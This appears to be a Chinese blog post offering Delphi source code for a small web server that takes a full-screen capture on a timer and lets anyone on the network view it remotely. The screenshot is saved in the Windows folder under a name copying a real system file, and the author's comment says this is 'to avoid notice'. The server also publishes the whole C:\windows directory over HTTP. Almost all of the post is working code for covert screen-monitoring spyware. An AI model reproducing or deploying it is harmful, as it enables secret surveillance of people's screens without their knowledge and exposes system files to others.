简单的webserver而已，不过实现的功能有些猥琐，可以在远程监控你的桌面一举一动~~
代码如下：
unit Main;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ActnList, StdCtrls, IdComponent, IdTCPServer, IdHTTPServer, Buttons, ComCtrls, IdGlobal, IdBaseComponent, IdThreadMgr, IdThreadMgrDefault, syncobjs, IdThreadMgrPool, ExtCtrls, IdIntercept, IdIOHandlerSocket, IdCustomHTTPServer, idSocketHandle,shellapi, Winsock, jpeg;{偶承认这里是乱来的，我也不知道都use了啥，填了一堆...-_-!}type TfmHTTPServerMain = class(TForm) HTTPServer: TIdHTTPServer; edPort: TEdit; cbActive: TCheckBox; edRoot: TEdit; LabelRoot: TLabel; Label1: TLabel; Button1: TButton; Label2: TLabel; Timer1: TTimer; procedure acActivateExecute(Sender: TObject); procedure HTTPServerCommandGet(AThread: TIdPeerThread; RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Timer1Timer(Sender: TObject); private UILock: TCriticalSection; { Private declarations } public { Public declarations } EnableLog: boolean; MIMEMap: TIdMIMETable; end;var fmHTTPServerMain: TfmHTTPServerMain; jiance:Boolean;implementationuses FileCtrl, IdStack;{$R *.DFM}function GetLocalIP: string;type TaPInAddr = array[0..255] of PInAddr; PaPInAddr = ^TaPInAddr;var phe: PHostEnt; pptr: PaPInAddr; Buffer: array[0..63] of char; i: integer; GInitData: TWSADATA;begin wsastartup($101, GInitData); result := ''; GetHostName(Buffer, SizeOf(Buffer)); phe := GetHostByName(buffer); if not assigned(phe) then exit; pptr := PaPInAddr(Phe^.h_addr_list); i := 0; while pptr^[I] <> nil do begin result := {Result +}StrPas(inet_ntoa(pptr^[I]^)) + ','; inc(i); end; Delete(Result, Length(Result), 1); wsacleanup;end;{获取IP的函数}procedure TfmHTTPServerMain.acActivateExecute(Sender: TObject);var Binding : TIdSocketHandle;begin if jiance then begin cbActive.Checked:=True; jiance:=False; end else begin cbActive.Checked:= False; jiance:=True; end; if not HTTPServer.Active then begin HTTPServer.Bindings.Clear; Binding := HTTPServer.Bindings.Add; Binding.Port := StrToIntDef(edPort.text, 80); Binding.IP := GetLocalIP; caption := '已启动'; end; if not DirectoryExists(edRoot.text) then begin cbActive.Checked:= False; end else begin if cbActive.Checked then begin try HTTPServer.Active := true; except on e: exception do begin cbActive.Checked := False; end; end; end else begin HTTPServer.Active := false; caption := '未启动'; // SSL stuff HTTPServer.Intercept := nil; end; end; edPort.Enabled := not cbActive.Checked; edRoot.Enabled := not cbActive.Checked; end;procedure TfmHTTPServerMain.HTTPServerCommandGet(AThread: TIdPeerThread; RequestInfo: TIdHTTPRequestInfo; ResponseInfo: TIdHTTPResponseInfo);var LocalDoc: string; ByteSent: Cardinal;begin LocalDoc := ExpandFilename(edRoot.text + RequestInfo.Document); if not FileExists(LocalDoc) then begin LocalDoc := ExpandFileName(LocalDoc); end; if FileExists(LocalDoc) then begin if AnsiSameText(RequestInfo.Command, 'HEAD') then begin ResponseInfo.ResponseNo := 200; ResponseInfo.ContentText := '<html><head><title>截图页面</title></head><body>'+'<img src="http://'+GetLocalIP+':'+edPort.Text+'/FeatherTexture.jpeg"/>'+'</body></html>'; end else begin ByteSent := HTTPServer.ServeFile(AThread, ResponseInfo, LocalDoc); end; end else begin ResponseInfo.ResponseNo := 404; ResponseInfo.ContentText := '<html><head><title>截图页面</title></head><body>'+'<img src="http://'+GetLocalIP+':'+edPort.Text+'/FeatherTexture.jpeg"/>'+'</body></html>';{edPort.Text是你设置的端口，windows目录下是有FeatherTexture.bmp的，为了掩人耳目，弄个差不多的FeatherTexture.jpeg~} end;{这个webserver貌似还有些问题，结构是我从indy的demo上扒下来的，貌似每次返回的都是404代码，所以偶为了防止出问题，采用了上面那段代码，就算是404，404页面也是有图片的，嘿嘿~~}end;procedure TfmHTTPServerMain.FormCreate(Sender: TObject);begin jiance:=True; UILock := TCriticalSection.Create; MIMEMap := TIdMIMETable.Create(true); edRoot.text := 'C:\windows'; if HTTPServer.active then caption := '已启动' else caption := '未启动'; Label2.Caption:= '当前IP：'+GetLocalIP;end;procedure TfmHTTPServerMain.FormDestroy(Sender: TObject);begin MIMEMap.Free; UILock.Free;end;procedure TfmHTTPServerMain.Button1Click(Sender: TObject);beginShellExecute(handle,nil,pchar('http://'+GetLocalIP+':'+edPort.Text),nil,nil,sw_shownormal);end;procedure TfmHTTPServerMain.Timer1Timer(Sender: TObject);varFullscreen:Tbitmap;FullscreenCanvas:TCanvas;dc:HDC;MyJPEG : TJPEGImage;beginFullscreen:=TBitmap.Create;Fullscreen.Width:=screen.width;Fullscreen.Height:=screen.Height;DC:=GetDC(0);FullscreenCanvas:=TCanvas.Create;FullscreenCanvas.Handle:=DC;Fullscreen.Canvas.CopyRect(Rect(0,0,screen.Width,screen.Height),fullscreenCanvas,Rect(0,0,Screen.Width,Screen.Height));FullscreenCanvas.Free;ReleaseDC(0,DC);myjpeg:= TJPEGImage.Create;myjpeg.Assign(Fullscreen);myjpeg.CompressionQuality:=100; //压缩比例，100是最清晰状态。myjpeg.Compress;trymyjpeg.SaveToFile('c:\windows\FeatherTexture.JPEG');//保存路径，可以随便选，但是一定要和上面的webserver路径吻合。myjpeg.Free;fullscreen.free;exceptend;end;end.
关键字词:
